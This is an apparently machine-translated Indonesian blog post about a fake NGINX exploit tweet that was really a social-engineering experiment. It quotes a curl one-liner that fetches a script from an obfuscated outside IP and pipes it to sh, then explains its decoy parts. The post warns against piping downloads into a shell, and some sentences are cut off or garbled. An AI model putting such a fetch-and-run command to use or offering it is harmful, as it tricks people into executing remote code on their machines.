Catatan. terjemahan:
TL;DR: Jangan gunakan pipelining file di sh atau bash dalam kondisi apa pun. Ini adalah cara yang bagus untuk kehilangan kendali atas komputer Anda.
Saya ingin berbagi dengan Anda cerita pendek tentang komik eksploitasi PoC yang dibuat pada tanggal 31 Mei. Dia muncul segera menanggapi berita dari
Setelah selesai mengerjakan teknik kebingungan baru di curl, saya mengutip tweet asli dan “membocorkan PoC yang berfungsi” yang terdiri dari satu baris kode yang diduga mengeksploitasi kerentanan yang ditemukan. Tentu saja, ini benar-benar tidak masuk akal. Saya berasumsi bahwa saya akan segera terekspos, dan paling banter saya akan mendapat beberapa retweet (oh baiklah).
Namun, saya tidak dapat membayangkan apa yang terjadi selanjutnya. Popularitas tweet saya meroket. Anehnya, saat ini (15:00 waktu Moskow pada 1 Juni) hanya sedikit orang yang menyadari bahwa ini palsu. Banyak orang yang me-retweetnya tanpa memeriksanya sama sekali (apalagi mengagumi grafik ASCII indah yang dihasilkannya).
Lihat saja betapa indahnya itu!
Meskipun semua loop dan warna ini bagus, jelas bahwa orang harus menjalankan kode di mesin mereka untuk melihatnya. Untungnya, browser bekerja dengan cara yang sama, dan dikombinasikan dengan fakta bahwa saya tidak benar-benar ingin mendapat masalah hukum, kode yang terkubur di situs saya hanya membuat panggilan gema tanpa mencoba menginstal atau mengeksekusi kode tambahan apa pun.
penyimpangan kecil:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Rekayasa sosio-elektronik (SEE) lebih dari sekedar phishing
Keamanan dan keakraban adalah bagian utama dari eksperimen ini. Saya pikir merekalah yang membawa kesuksesannya. Baris perintah dengan jelas menyiratkan keamanan dengan mengacu pada "127.0.0.1" (localhost terkenal). Localhost dianggap aman dan data di dalamnya tidak pernah meninggalkan komputer Anda.
Keakraban adalah komponen kunci kedua dari eksperimen SEE. Karena target audiens utamanya terdiri dari orang-orang yang memahami dasar-dasar keamanan komputer, penting untuk membuat kode sehingga bagian-bagiannya tampak familier dan familier (dan karenanya aman). Meminjam elemen konsep eksploitasi lama dan menggabungkannya dengan cara yang tidak biasa terbukti sangat berhasil.
Di bawah ini adalah analisis rinci dari one-liner. Semua yang ada di daftar ini bisa dipakai sifat kosmetik, dan praktis tidak diperlukan apa pun untuk pengoperasian sebenarnya.
Komponen apa saja yang benar-benar diperlukan? Ini -gsS
, -O 0x0238f06a
, |sh
dan server web itu sendiri. Server web tidak berisi instruksi jahat apa pun, tetapi hanya menyajikan grafik ASCII menggunakan perintah echo
dalam skrip yang terkandung di dalamnya index.html
. Saat pengguna memasukkan baris dengan |sh
di tengah-tengah, index.html
dimuat dan dieksekusi. Untungnya, penjaga server web tidak mempunyai niat buruk.
-
../../../%00
— mewakili melampaui direktori; -
ngx_stream_module.so
— jalur ke modul NGINX acak; -
/bin/sh%00<'protocol:TCP'
- kami seharusnya meluncurkannya/bin/sh
pada mesin target dan mengarahkan output ke saluran TCP; -
-O 0x0238f06a#PLToffset
- bahan rahasia, ditambah#PLToffset
, agar terlihat seperti offset memori yang terkandung dalam PLT; -
|sh;
- bagian penting lainnya. Kami perlu mengarahkan output ke sh/bash untuk mengeksekusi kode yang berasal dari server web penyerang yang berlokasi di0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- boneka yang mengacu pada netcat/dev/tcp/localhost
agar semuanya terlihat aman kembali. Padahal, ia tidak melakukan apa-apa dan termasuk dalam lini kecantikan.
Ini menyimpulkan penguraian skrip satu baris dan pembahasan aspek “rekayasa sosio-elektronik” (phishing yang rumit).
Konfigurasi dan Penanggulangan Server Web
Karena sebagian besar pelanggan saya adalah infosec/hacker, saya memutuskan untuk membuat server web sedikit lebih tahan terhadap ekspresi “ketertarikan” mereka, hanya agar orang-orang tersebut mempunyai sesuatu untuk dilakukan (dan itu akan menyenangkan untuk dilakukan). mempersiapkan). Saya tidak akan mencantumkan semua kendala di sini karena percobaan masih berlangsung, namun berikut beberapa hal yang dilakukan server:
- Secara aktif memantau upaya distribusi di jejaring sosial tertentu dan mengganti berbagai thumbnail pratinjau untuk mendorong pengguna mengklik link tersebut.
- Mengalihkan Chrome/Mozilla/Safari/dll ke video promosi Thugcrowd alih-alih menampilkan skrip shell.
- Mengawasi tanda-tanda JELAS dari intrusi/peretasan terang-terangan, dan kemudian mulai mengalihkan permintaan ke server NSA (ha!).
- Menginstal Trojan, serta rootkit BIOS, di semua komputer yang penggunanya mengunjungi host dari browser biasa (bercanda!).
Sebagian kecil dari antimer
Dalam hal ini, satu-satunya tujuan saya adalah menguasai beberapa fitur Apache - khususnya, aturan keren untuk mengarahkan ulang permintaan - dan saya berpikir: mengapa tidak?
Eksploitasi NGINX (Nyata!)
berlangganan
Sumber: www.habr.com